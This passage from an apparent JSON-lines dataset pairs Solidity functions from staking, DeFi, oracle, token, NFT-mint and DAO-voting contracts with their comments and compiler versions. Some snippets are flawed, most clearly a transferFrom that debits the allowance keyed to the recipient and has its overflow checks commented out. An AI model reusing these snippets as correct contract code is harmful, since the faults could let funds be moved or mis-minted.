function\n// @param tokens the number of tokens to withdraw\n// ------------------------------------------------------------------------", "function_code": "function WITHDRAW(uint256 tokens) external nonReentrant {\r\n\r\n require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, \"Invalid token amount to withdraw\");\r\n\r\n uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);\r\n\r\n // add pending rewards to remainder to be claimed by user later, if there is any existing stake\r\n\r\n\r\n reward.totalreward = (reward.totalreward).add(_unstakingFee);\r\n require(REWARDTOKEN(rewtkn).transfer(msg.sender, tokens.sub(_unstakingFee)), \"Error in un-staking tokens\");\r\n\r\n stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);\r\n\r\n if (stakers[msg.sender].stakedTokens == 0)\r\n {\r\n stakers[msg.sender].creationTime = block.timestamp ;\r\n }\r\n totalStakes = totalStakes.sub(tokens);\r\n emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);\r\n\r\n\r\n }", "version": "0.7.6"} {"comment": "// **** State Mutations ****", "function_code": "function harvest() public restricted override {\r\n // stablecoin we want to convert to\r\n (address to, uint256 toIndex) = getMostPremium();\r\n\r\n // Collects crv tokens\r\n // this also sends KEEP to keep_rewards contract\r\n ICurveMintr(mintr).mint(gauge);\r\n uint256 _crv = IERC20(crv).balanceOf(address(this));\r\n if (_crv > 0) {\r\n // x% is sent back to the rewards holder\r\n // to be used to lock up in as veCRV in a future date\r\n uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax);\r\n if (_keepCRV > 0) {\r\n IERC20(crv).safeTransfer(\r\n treasury,\r\n _keepCRV\r\n );\r\n }\r\n _crv = _crv.sub(_keepCRV);\r\n _swapUniswap(crv, to, _crv);\r\n }\r\n\r\n // Adds liquidity to curve.fi's pool\r\n // to get back underlying (usdncrv)\r\n uint256 _to = IERC20(to).balanceOf(address(this));\r\n if (_to > 0) {\r\n IERC20(to).safeApprove(curve, 0);\r\n IERC20(to).safeApprove(curve, _to);\r\n uint256[4] memory liquidity;\r\n liquidity[toIndex] = _to;\r\n ICurveUSDN(curve).add_liquidity(liquidity, 0);\r\n }\r\n\r\n // Distribute the collected funds and deposit underlying\r\n // Emit harvested event\r\n _distributeAndDeposit();\r\n emit Harvested(to, _to);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Get the underlying price of a kToken\n * @param kToken The kToken address for price retrieval\n * @return Price denominated in USD\n */", "function_code": "function getUnderlyingPrice(address kToken) public view returns (uint){\n KTokenConfig memory config = getKConfigByKToken(kToken);\n uint price;\n if (config.priceSource == PriceSource.CHAINLINK) {\n price = _calcPrice(_getChainlinkPrice(config), config);\n }else if (config.priceSource == PriceSource.KAPTAIN) {\n price = _calcPrice(_getKaptainPrice(config), config);\n }else if (config.priceSource == PriceSource.LP){\n price = _calcLpPrice(config);\n }else{\n revert(\"invalid price source\");\n }\n\n require(price != 0, \"invalid price 0\");\n\n return price;\n }", "version": "0.6.12"} {"comment": "/*********************************************************************************************\n * Pl = lpPrice\n * p0 = token0_PriceFromPriceSource\n * p1 = token1_PriceFromPriceSource\n * r0 = reserve0 2 * sqrt(p0 * r0) * sqrt(p1 * r1) * 1e36\n * r1 = reserve1 Pl = --------------------------------------------\n * PM0 = Token0_PriceMantissa totalSupply * sqrt(PM0 * PM1)\n * PM1 = Token1_PriceMantissa\n * totalSupply = LP totalSupply\n * PriceMantissa = priceUnit * baseUnit\n *********************************************************************************************/", "function_code": "function _calcLpPrice(KTokenConfig memory config) internal view returns (uint){\n uint numerator;\n uint denominator;\n KTokenConfig memory config0;\n KTokenConfig memory config1;\n\n {\n address token0 = IUniswapV2Pair(config.underlying).token0();\n address token1 = IUniswapV2Pair(config.underlying).token1();\n config0 = getKConfigByUnderlying(token0);\n config1 = getKConfigByUnderlying(token1);\n }\n\n {\n (uint r0, uint r1, ) = IUniswapV2Pair(config.underlying).getReserves();\n numerator = (_getSourcePrice(config0).mul(r0).sqrt())\n .mul(_getSourcePrice(config1).mul(r1).sqrt())\n .mul(2).mul(priceScale);\n }\n\n {\n uint totalSupply = IUniswapV2Pair(config.underlying).totalSupply();\n uint pmMultiplier = config0.priceMantissa.mul(config1.priceMantissa);\n denominator = totalSupply.mul(pmMultiplier.sqrt());\n }\n\n return numerator.div(denominator);\n }", "version": "0.6.12"} {"comment": "/// @notice Only Kaptain allowed to operate prices", "function_code": "function postPrices(string[] calldata symbolArray, uint[] calldata priceArray) external onlyKaptain {\n require(symbolArray.length == priceArray.length, \"length mismatch\");\n // iterate and set\n for (uint i = 0; i < symbolArray.length; i++) {\n KTokenConfig memory config = getKConfigBySymbolHash(keccak256(abi.encodePacked(symbolArray[i])));\n require(config.priceSource == PriceSource.KAPTAIN, \"can only post kaptain price\");\n require(config.symbolHash != mcdHash, \"cannot post mcd price here\");\n require(priceArray[i] != 0, \"price cannot be 0\");\n prices[config.symbolHash] = priceArray[i];\n }\n }", "version": "0.6.12"} {"comment": "/// Initiate a transfer to `_to` with value `_value`?", "function_code": "function transfer(address _to, uint256 _value) \r\n public returns (bool success) \r\n {\r\n // sanity check\r\n require(_to != address(this));\r\n\r\n // // check for overflows\r\n // require(_value > 0 &&\r\n // balances[msg.sender] < _value &&\r\n // balances[_to] + _value < balances[_to]);\r\n\r\n // \r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n \r\n // emit transfer event\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/// Initiate a transfer of `_value` from `_from` to `_to`", "function_code": "function transferFrom(address _from, address _to, uint256 _value) \r\n public returns (bool success) \r\n { \r\n // sanity check\r\n require(_to != 0x0 && _from != 0x0);\r\n require(_from != _to && _to != address(this));\r\n\r\n // check for overflows\r\n // require(_value > 0 &&\r\n // balances[_from] >= _value &&\r\n // allowed[_from][_to] <= _value &&\r\n // balances[_to] + _value < balances[_to]);\r\n\r\n // update public balance\r\n allowed[_from][_to] = allowed[_from][_to].sub(_value); \r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n\r\n // emit transfer event\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/// Approve `_spender` to claim/spend `_value`?", "function_code": "function approve(address _spender, uint256 _value) \r\n public returns (bool success) \r\n {\r\n // sanity check\r\n require(_spender != 0x0 && _spender != address(this)); \r\n\r\n // if the allowance isn't 0, it can only be updated to 0 to prevent \r\n // an allowance change immediately after withdrawal\r\n require(allowed[msg.sender][_spender] == 0);\r\n\r\n allowed[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/// check allowance approved from `_owner` to `_spender`?", "function_code": "function allowance(address _owner, address _spender) \r\n public constant returns (uint remaining) \r\n {\r\n // sanity check\r\n require(_spender != 0x0 && _owner != 0x0);\r\n require(_owner != _spender && _spender != address(this)); \r\n\r\n // constant op. Just return the balance.\r\n return allowed[_owner][_spender];\r\n }", "version": "0.4.16"} {"comment": "// @dev must be called after you add chainlink sourced config", "function_code": "function setAggregators(string[] calldata symbols, address[] calldata sources) public onlyOwner {\n require(symbols.length == sources.length, \"mismatched input\");\n for (uint i = 0; i < symbols.length; i++) {\n KTokenConfig memory config = getKConfigBySymbolHash(keccak256(abi.encodePacked(symbols[i])));\n AggregatorV3Interface agg = AggregatorV3Interface(sources[i]);\n aggregators[config.symbolHash] = agg;\n uint priceDecimals = uint(agg.decimals());\n require(10**priceDecimals == config.priceUnit, \"mismatched priceUnit\");\n emit AggregatorUpdated(symbols[i], sources[i]);\n }\n }", "version": "0.6.12"} {"comment": "// @notice set the symbol used to query ExOracle", "function_code": "function setExOracleConfig(address kToken_, string memory symbol_, address source_) public onlyOwner {\n KTokenConfig memory config = getKConfigByKToken(kToken_);\n require(config.priceSource == PriceSource.EXORACLE, \"mismatched priceSource\");\n\n ExOracleConfig memory exOracleConfig = ExOracleConfig({\n kToken: kToken_,\n symbol: symbol_,\n source: source_\n });\n exOracleConfigs[kToken_] = exOracleConfig;\n\n (uint price, ) = exOracleView.get(symbol_, source_);\n require(price != 0, \"unable to get price\");\n\n emit ExOracleConfigUpdated(kToken_, symbol_, source_);\n }", "version": "0.6.12"} {"comment": "// F1: External is ok here because this is the batch function, adding it to a batch makes no sense\n// F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value\n// C3: The length of the loop is fully under user control, so can't be exploited\n// C7: Delegatecall is only used on the same contract, so it's safe", "function_code": "function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) {\r\n successes = new bool[](calls.length);\r\n results = new bytes[](calls.length);\r\n for (uint256 i = 0; i < calls.length; i++) {\r\n (bool success, bytes memory result) = address(this).delegatecall(calls[i]);\r\n require(success || !revertOnFail, _getRevertMsg(result));\r\n successes[i] = success;\r\n results[i] = result;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @notice Liquidity zap from BENTO.", "function_code": "function zapFromBento(\r\n address pair,\r\n address to,\r\n uint256 amount\r\n ) external returns (uint256 amount0, uint256 amount1) {\r\n bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO\r\n (amount0, amount1) = ISushiLiquidityZap(pair).burn(to); // trigger burn to redeem liquidity for `to`\r\n }", "version": "0.6.12"} {"comment": "/**\n * mint Early Access Corgis\n */", "function_code": "function earlyAccessMint(uint256 boneTokenId, uint256 numberOfTokens) public payable {\n uint256 supply = totalSupply();\n uint256 boneCount = approvingBoneContract.balanceOf(msg.sender);\n uint256 corgiPerBoneCount = numberOfCorgisMintedPerBone[boneTokenId];\n bool bonesOfOwner = findBonesOfOwner(msg.sender, boneTokenId, boneCount);\n\n require(addressBlockBought[msg.sender] < block.timestamp, \"Not allowed to Mint on the same Block\");\n require(!Address.isContract(msg.sender),\"Contracts are not allowed to mint\");\n require(bonesOfOwner,\"You do not own this bone\");\n require(corgiPerBoneCount + numberOfTokens < 6,\"You cannot mint more than 5 Corgis per Bone\");\n require(earlyAccessIsActive, \"Early Access Mint is not active yet\");\n require(boneCount > 0, \"You don't have a mint pass\");\n require(msg.value >= price * numberOfTokens, \"Payment is Insufficient\");\n require(supply + numberOfTokens <= maxEarlyAccess, \"Exceeds maximum Corgis early access supply\" );\n\n addressBlockBought[msg.sender] = block.timestamp;\n for(uint256 i; i < numberOfTokens; i++){\n _safeMint( msg.sender, supply + i );\n }\n\n numberOfCorgisMintedPerBone[boneTokenId] = numberOfCorgisMintedPerBone[boneTokenId].add(numberOfTokens);\n }", "version": "0.8.7"} {"comment": "/**\n * mint Corgis\n */", "function_code": "function mintCorgis(uint256 numberOfTokens) public payable {\n uint256 supply = totalSupply();\n\n require(addressBlockBought[msg.sender] < block.timestamp, \"Not allowed to Mint on the same Block\");\n require(!Address.isContract(msg.sender),\"Contracts are not allowed to mint\");\n require(corgiSaleIsActive, \"Sale is not active yet\");\n require(msg.value >= price * numberOfTokens, \"Payment is Insufficient\");\n require(numberOfTokens <= maxPublicPurchase, \"You can adopt a maximum of 10 Corgis\");\n require(supply + numberOfTokens <= maxCorgis, \"Exceeds maximum Corgis supply\" );\n\n addressBlockBought[msg.sender] = block.timestamp;\n\n for(uint256 i; i < numberOfTokens; i++){\n _safeMint( msg.sender, supply + i );\n\n if (totalSupply() == 6500) {\n // send to charity fund\n sendToCommunityAndCharityWallets(charityFundWallet, donationToCharity);\n } else if (totalSupply() == 9000) {\n // send to community vault\n sendToCommunityAndCharityWallets(communityVault, sendToCommunityVault);\n }\n }\n }", "version": "0.8.7"} {"comment": "/**\n * reserve Corgis for giveaways\n */", "function_code": "function mintCorgisForGiveaway() public onlyOwner {\n uint256 supply = totalSupply();\n require(giveaway > 0, \"Giveaway has been minted!\");\n\n for (uint256 i = 0; i < custom + giveaway; i++) {\n _safeMint(msg.sender, supply + i);\n }\n\n giveaway -= giveaway;\n }", "version": "0.8.7"} {"comment": "/**\n * Returns Corgis of the Caller\n */", "function_code": "function corgisOfOwner(address _owner) public view returns(uint256[] memory) {\n uint256 tokenCount = balanceOf(_owner);\n\n uint256[] memory tokensId = new uint256[](tokenCount);\n for(uint256 i; i < tokenCount; i++){\n tokensId[i] = tokenOfOwnerByIndex(_owner, i);\n }\n return tokensId;\n }", "version": "0.8.7"} {"comment": "// This function is responsible for making transactions within the system.", "function_code": "function transferFrom(address from, address to, uint tokens) public returns (bool success) {\r\n\t\tbalances[from] = safeSub(balances[from], tokens);\r\n\t\tallowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\r\n\t\tbalances[to] = safeAdd(balances[to], tokens);\r\n\t\temit Transfer(from, to, tokens);\r\n\t\treturn true;\r\n\t}", "version": "0.5.0"} {"comment": "/**\r\n * toEthSignedMessageHash\r\n * @dev prefix a bytes32 value with \"\\x19Ethereum Signed Message:\"\r\n * and hash the result\r\n */", "function_code": "function toEthSignedMessageHash(bytes32 hash)\r\n internal\r\n pure\r\n returns (bytes32)\r\n {\r\n // 32 is the length in bytes of hash,\r\n // enforced by the type signature above\r\n return keccak256(\r\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash)\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev rank - find the rank of a value in the tree,\r\n * i.e. its index in the sorted list of elements of the tree\r\n * @param _tree the tree\r\n * @param _value the input value to find its rank.\r\n * @return smaller - the number of elements in the tree which their value is\r\n * less than the input value.\r\n */", "function_code": "function rank(Tree storage _tree,uint _value) internal view returns (uint smaller) {\r\n if (_value != 0) {\r\n smaller = _tree.nodes[0].dupes;\r\n\r\n uint cur = _tree.nodes[0].children[true];\r\n Node storage currentNode = _tree.nodes[cur];\r\n\r\n while (true) {\r\n if (cur <= _value) {\r\n if (cur<_value) {\r\n smaller = smaller + 1+currentNode.dupes;\r\n }\r\n uint leftChild = currentNode.children[false];\r\n if (leftChild!=0) {\r\n smaller = smaller + _tree.nodes[leftChild].count;\r\n }\r\n }\r\n if (cur == _value) {\r\n break;\r\n }\r\n cur = currentNode.children[cur<_value];\r\n if (cur == 0) {\r\n break;\r\n }\r\n currentNode = _tree.nodes[cur];\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Round a real to the nearest integral real value.\r\n */", "function_code": "function round(int256 realValue) internal pure returns (int256) {\r\n // First, truncate.\r\n int216 ipart = fromReal(realValue);\r\n if ((fractionalBits(realValue) & (uint40(1) << (REAL_FBITS - 1))) > 0) {\r\n // High fractional bit is set. Round up.\r\n if (realValue < int256(0)) {\r\n // Rounding up for a negative number is rounding down.\r\n ipart -= 1;\r\n } else {\r\n ipart += 1;\r\n }\r\n }\r\n return toReal(ipart);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Get the fractional part of a real, as a real. Respects sign (so fpartSigned(-0.5) is -0.5).\r\n */", "function_code": "function fpartSigned(int256 realValue) internal pure returns (int256) {\r\n // This gets the fractional part but strips the sign\r\n int256 fractional = fpart(realValue);\r\n if (realValue < 0) {\r\n // Add the negative sign back in.\r\n return -fractional;\r\n } else {\r\n return fractional;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Multiply one real by another. Truncates overflows.\r\n */", "function_code": "function mul(int256 realA, int256 realB) internal pure returns (int256) {\r\n // When multiplying fixed point in x.y and z.w formats we get (x+z).(y+w) format.\r\n // So we just have to clip off the extra REAL_FBITS fractional bits.\r\n return int256((int256(realA) * int256(realB)) >> REAL_FBITS);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Divide one real by another real. Truncates overflows.\r\n */", "function_code": "function div(int256 realNumerator, int256 realDenominator) internal pure returns (int256) {\r\n // We use the reverse of the multiplication trick: convert numerator from\r\n // x.y to (x+z).(y+w) fixed point, then divide by denom in z.w fixed point.\r\n return int256((int256(realNumerator) * REAL_ONE) / int256(realDenominator));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Raise a number to a positive integer power in O(log power) time.\r\n * See \r\n */", "function_code": "function ipow(int256 realBase, int216 exponent) internal pure returns (int256) {\r\n if (exponent < 0) {\r\n // Negative powers are not allowed here.\r\n revert();\r\n }\r\n\r\n int256 tempRealBase = realBase;\r\n int256 tempExponent = exponent;\r\n\r\n // Start with the 0th power\r\n int256 realResult = REAL_ONE;\r\n while (tempExponent != 0) {\r\n // While there are still bits set\r\n if ((tempExponent & 0x1) == 0x1) {\r\n // If the low bit is set, multiply in the (many-times-squared) base\r\n realResult = mul(realResult, tempRealBase);\r\n }\r\n // Shift off the low bit\r\n tempExponent = tempExponent >> 1;\r\n // Do the squaring\r\n tempRealBase = mul(tempRealBase, tempRealBase);\r\n }\r\n\r\n // Return the final result.\r\n return realResult;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Zero all but the highest set bit of a number.\r\n * See \r\n */", "function_code": "function hibit(uint256 _val) internal pure returns (uint256) {\r\n // Set all the bits below the highest set bit\r\n uint256 val = _val;\r\n val |= (val >> 1);\r\n val |= (val >> 2);\r\n val |= (val >> 4);\r\n val |= (val >> 8);\r\n val |= (val >> 16);\r\n val |= (val >> 32);\r\n val |= (val >> 64);\r\n val |= (val >> 128);\r\n return val ^ (val >> 1);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Given a number with one bit set, finds the index of that bit.\r\n */", "function_code": "function findbit(uint256 val) internal pure returns (uint8 index) {\r\n index = 0;\r\n // We and the value with alternating bit patters of various pitches to find it.\r\n if (val & 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA != 0) {\r\n // Picth 1\r\n index |= 1;\r\n }\r\n if (val & 0xCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC != 0) {\r\n // Pitch 2\r\n index |= 2;\r\n }\r\n if (val & 0xF0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0 != 0) {\r\n // Pitch 4\r\n index |= 4;\r\n }\r\n if (val & 0xFF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00 != 0) {\r\n // Pitch 8\r\n index |= 8;\r\n }\r\n if (val & 0xFFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000 != 0) {\r\n // Pitch 16\r\n index |= 16;\r\n }\r\n if (val & 0xFFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000 != 0) {\r\n // Pitch 32\r\n index |= 32;\r\n }\r\n if (val & 0xFFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF0000000000000000 != 0) {\r\n // Pitch 64\r\n index |= 64;\r\n }\r\n if (val & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000 != 0) {\r\n // Pitch 128\r\n index |= 128;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Shift realArg left or right until it is between 1 and 2. Return the\r\n * rescaled value, and the number of bits of right shift applied. Shift may be negative.\r\n *\r\n * Expresses realArg as realScaled * 2^shift, setting shift to put realArg between [1 and 2).\r\n *\r\n * Rejects 0 or negative arguments.\r\n */", "function_code": "function rescale(int256 realArg) internal pure returns (int256 realScaled, int216 shift) {\r\n if (realArg <= 0) {\r\n // Not in domain!\r\n revert();\r\n }\r\n\r\n // Find the high bit\r\n int216 highBit = findbit(hibit(uint256(realArg)));\r\n\r\n // We'll shift so the high bit is the lowest non-fractional bit.\r\n shift = highBit - int216(REAL_FBITS);\r\n\r\n if (shift < 0) {\r\n // Shift left\r\n realScaled = realArg << -shift;\r\n } else if (shift >= 0) {\r\n // Shift right\r\n realScaled = realArg >> shift;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Calculate e^x. Uses the series given at\r\n * .\r\n *\r\n * Lets you artificially limit the number of iterations.\r\n *\r\n * Note that it is potentially possible to get an un-converged value; lack\r\n * of convergence does not throw.\r\n */", "function_code": "function expLimited(int256 realArg, int maxIterations) internal pure returns (int256) {\r\n // We will accumulate the result here\r\n int256 realResult = 0;\r\n\r\n // We use this to save work computing terms\r\n int256 realTerm = REAL_ONE;\r\n\r\n for (int216 n = 0; n < maxIterations; n++) {\r\n // Add in the term\r\n realResult += realTerm;\r\n\r\n // Compute the next term\r\n realTerm = mul(realTerm, div(realArg, toReal(n + 1)));\r\n\r\n if (realTerm == 0) {\r\n // We must have converged. Next term is too small to represent.\r\n break;\r\n }\r\n // If we somehow never converge I guess we will run out of gas\r\n }\r\n\r\n // Return the result\r\n return realResult;\r\n\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Raise any number to any power, except for negative bases to fractional powers.\r\n */", "function_code": "function pow(int256 realBase, int256 realExponent) internal pure returns (int256) {\r\n if (realExponent == 0) {\r\n // Anything to the 0 is 1\r\n return REAL_ONE;\r\n }\r\n\r\n if (realBase == 0) {\r\n if (realExponent < 0) {\r\n // Outside of domain!\r\n revert();\r\n }\r\n // Otherwise it's 0\r\n return 0;\r\n }\r\n\r\n if (fpart(realExponent) == 0) {\r\n // Anything (even a negative base) is super easy to do to an integer power.\r\n\r\n if (realExponent > 0) {\r\n // Positive integer power is easy\r\n return ipow(realBase, fromReal(realExponent));\r\n } else {\r\n // Negative integer power is harder\r\n return div(REAL_ONE, ipow(realBase, fromReal(-realExponent)));\r\n }\r\n }\r\n\r\n if (realBase < 0) {\r\n // It's a negative base to a non-integer power.\r\n // In general pow(-x^y) is undefined, unless y is an int or some\r\n // weird rational-number-based relationship holds.\r\n revert();\r\n }\r\n\r\n // If it's not a special case, actually do it.\r\n return exp(mul(realExponent, ln(realBase)));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Compute the sin of a number to a certain number of Taylor series terms.\r\n */", "function_code": "function sinLimited(int256 _realArg, int216 maxIterations) internal pure returns (int256) {\r\n // First bring the number into 0 to 2 pi\r\n // TODO: This will introduce an error for very large numbers, because the error in our Pi will compound.\r\n // But for actual reasonable angle values we should be fine.\r\n int256 realArg = _realArg;\r\n realArg = realArg % REAL_TWO_PI;\r\n\r\n int256 accumulator = REAL_ONE;\r\n\r\n // We sum from large to small iteration so that we can have higher powers in later terms\r\n for (int216 iteration = maxIterations - 1; iteration >= 0; iteration--) {\r\n accumulator = REAL_ONE - mul(div(mul(realArg, realArg), toReal((2 * iteration + 2) * (2 * iteration + 3))), accumulator);\r\n // We can't stop early; we need to make it to the first term.\r\n }\r\n\r\n return mul(realArg, accumulator);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Burns `_amount` of reputation from `_from`\r\n * if _amount tokens to burn > balances[_from] the balance of _from will turn to zero.\r\n * @param _from The address that will lose the reputation\r\n * @param _amount The quantity of reputation to burn\r\n * @return True if the reputation are burned correctly\r\n */", "function_code": "function burn(address _from, uint _amount)\r\n public\r\n onlyOwner\r\n returns (bool)\r\n {\r\n uint amountMinted = _amount;\r\n if (balances[_from] < _amount) {\r\n amountMinted = balances[_from];\r\n }\r\n totalSupply = totalSupply.sub(amountMinted);\r\n balances[_from] = balances[_from].sub(amountMinted);\r\n emit Burn(_from, amountMinted);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev perform a generic call to an arbitrary contract\r\n * @param _contract the contract's address to call\r\n * @param _data ABI-encoded contract call to call `_contract` address.\r\n * @return the return bytes of the called contract's function.\r\n */", "function_code": "function genericCall(address _contract,bytes _data) public onlyOwner {\r\n // solium-disable-next-line security/no-low-level-calls\r\n bool result = _contract.call(_data);\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n // Copy the returned data.\r\n returndatacopy(0, 0, returndatasize)\r\n\r\n switch result\r\n // call returns 0 on error.\r\n case 0 { revert(0, returndatasize) }\r\n default { return(0, returndatasize) }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev register a new proposal with the given parameters. Every proposal has a unique ID which is being\r\n * generated by calculating keccak256 of a incremented counter.\r\n * @param _numOfChoices number of voting choices\r\n * @param _avatar an address to be sent as the payload to the _executable contract.\r\n * @param _executable This contract will be executed when vote is over.\r\n * @param _proposer address\r\n * @return proposal's id.\r\n */", "function_code": "function propose(uint _numOfChoices, bytes32 , address _avatar, ExecutableInterface _executable,address _proposer)\r\n external\r\n returns(bytes32)\r\n {\r\n // Check valid params and number of choices:\r\n require(_numOfChoices == NUM_OF_CHOICES);\r\n require(ExecutableInterface(_executable) != address(0));\r\n //Check parameters existence.\r\n bytes32 paramsHash = getParametersFromController(Avatar(_avatar));\r\n\r\n require(parameters[paramsHash].preBoostedVoteRequiredPercentage > 0);\r\n // Generate a unique ID:\r\n bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));\r\n proposalsCnt++;\r\n // Open proposal:\r\n Proposal memory proposal;\r\n proposal.numOfChoices = _numOfChoices;\r\n proposal.avatar = _avatar;\r\n proposal.executable = _executable;\r\n proposal.state = ProposalState.PreBoosted;\r\n // solium-disable-next-line security/no-block-members\r\n proposal.submittedTime = now;\r\n proposal.currentBoostedVotePeriodLimit = parameters[paramsHash].boostedVotePeriodLimit;\r\n proposal.proposer = _proposer;\r\n proposal.winningVote = NO;\r\n proposal.paramsHash = paramsHash;\r\n proposals[proposalId] = proposal;\r\n emit NewProposal(proposalId, _avatar, _numOfChoices, _proposer, paramsHash);\r\n return proposalId;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev stakeWithSignature function\r\n * @param _proposalId id of the proposal\r\n * @param _vote NO(2) or YES(1).\r\n * @param _amount the betting amount\r\n * @param _nonce nonce value ,it is part of the signature to ensure that\r\n a signature can be received only once.\r\n * @param _signatureType signature type\r\n 1 - for web3.eth.sign\r\n 2 - for eth_signTypedData according to EIP #712.\r\n * @param _signature - signed data by the staker\r\n * @return bool true - the proposal has been executed\r\n * false - otherwise.\r\n */", "function_code": "function stakeWithSignature(\r\n bytes32 _proposalId,\r\n uint _vote,\r\n uint _amount,\r\n uint _nonce,\r\n uint _signatureType,\r\n bytes _signature\r\n )\r\n external\r\n returns(bool)\r\n {\r\n require(stakeSignatures[_signature] == false);\r\n // Recreate the digest the user signed\r\n bytes32 delegationDigest;\r\n if (_signatureType == 2) {\r\n delegationDigest = keccak256(\r\n abi.encodePacked(\r\n DELEGATION_HASH_EIP712, keccak256(\r\n abi.encodePacked(\r\n address(this),\r\n _proposalId,\r\n _vote,\r\n _amount,\r\n _nonce)))\r\n );\r\n } else {\r\n delegationDigest = keccak256(\r\n abi.encodePacked(\r\n ETH_SIGN_PREFIX, keccak256(\r\n abi.encodePacked(\r\n address(this),\r\n _proposalId,\r\n _vote,\r\n _amount,\r\n _nonce)))\r\n );\r\n }\r\n address staker = delegationDigest.recover(_signature);\r\n //a garbage staker address due to wrong signature will revert due to lack of approval and funds.\r\n require(staker!=address(0));\r\n stakeSignatures[_signature] = true;\r\n return _stake(_proposalId,_vote,_amount,staker);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev redeemDaoBounty a reward for a successful stake, vote or proposing.\r\n * The function use a beneficiary address as a parameter (and not msg.sender) to enable\r\n * users to redeem on behalf of someone else.\r\n * @param _proposalId the ID of the proposal\r\n * @param _beneficiary - the beneficiary address\r\n * @return redeemedAmount - redeem token amount\r\n * @return potentialAmount - potential redeem token amount(if there is enough tokens bounty at the avatar )\r\n */", "function_code": "function redeemDaoBounty(bytes32 _proposalId,address _beneficiary) public returns(uint redeemedAmount,uint potentialAmount) {\r\n Proposal storage proposal = proposals[_proposalId];\r\n require((proposal.state == ProposalState.Executed) || (proposal.state == ProposalState.Closed));\r\n uint totalWinningStakes = proposal.stakes[proposal.winningVote];\r\n if (\r\n // solium-disable-next-line operator-whitespace\r\n (proposal.stakers[_beneficiary].amountForBounty>0)&&\r\n (proposal.stakers[_beneficiary].vote == proposal.winningVote)&&\r\n (proposal.winningVote == YES)&&\r\n (totalWinningStakes != 0))\r\n {\r\n //as staker\r\n Parameters memory params = parameters[proposal.paramsHash];\r\n uint beneficiaryLimit = (proposal.stakers[_beneficiary].amountForBounty.mul(params.daoBountyLimit)) / totalWinningStakes;\r\n potentialAmount = (params.daoBountyConst.mul(proposal.stakers[_beneficiary].amountForBounty))/100;\r\n if (potentialAmount > beneficiaryLimit) {\r\n potentialAmount = beneficiaryLimit;\r\n }\r\n }\r\n if ((potentialAmount != 0)&&(stakingToken.balanceOf(proposal.avatar) >= potentialAmount)) {\r\n proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);\r\n require(ControllerInterface(Avatar(proposal.avatar).owner()).externalTokenTransfer(stakingToken,_beneficiary,potentialAmount,proposal.avatar));\r\n proposal.stakers[_beneficiary].amountForBounty = 0;\r\n redeemedAmount = potentialAmount;\r\n emit RedeemDaoBounty(_proposalId,proposal.avatar,_beneficiary,redeemedAmount);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev threshold return the organization's score threshold which required by\r\n * a proposal to shift to boosted state.\r\n * This threshold is dynamically set and it depend on the number of boosted proposal.\r\n * @param _avatar the organization avatar\r\n * @param _paramsHash the organization parameters hash\r\n * @return int organization's score threshold.\r\n */", "function_code": "function threshold(bytes32 _paramsHash,address _avatar) public view returns(int) {\r\n uint boostedProposals = getBoostedProposalsCount(_avatar);\r\n int216 e = 2;\r\n\r\n Parameters memory params = parameters[_paramsHash];\r\n require(params.thresholdConstB > 0,\"should be a valid parameter hash\");\r\n int256 power = int216(boostedProposals).toReal().div(int216(params.thresholdConstB).toReal());\r\n\r\n if (power.fromReal() > 100 ) {\r\n power = 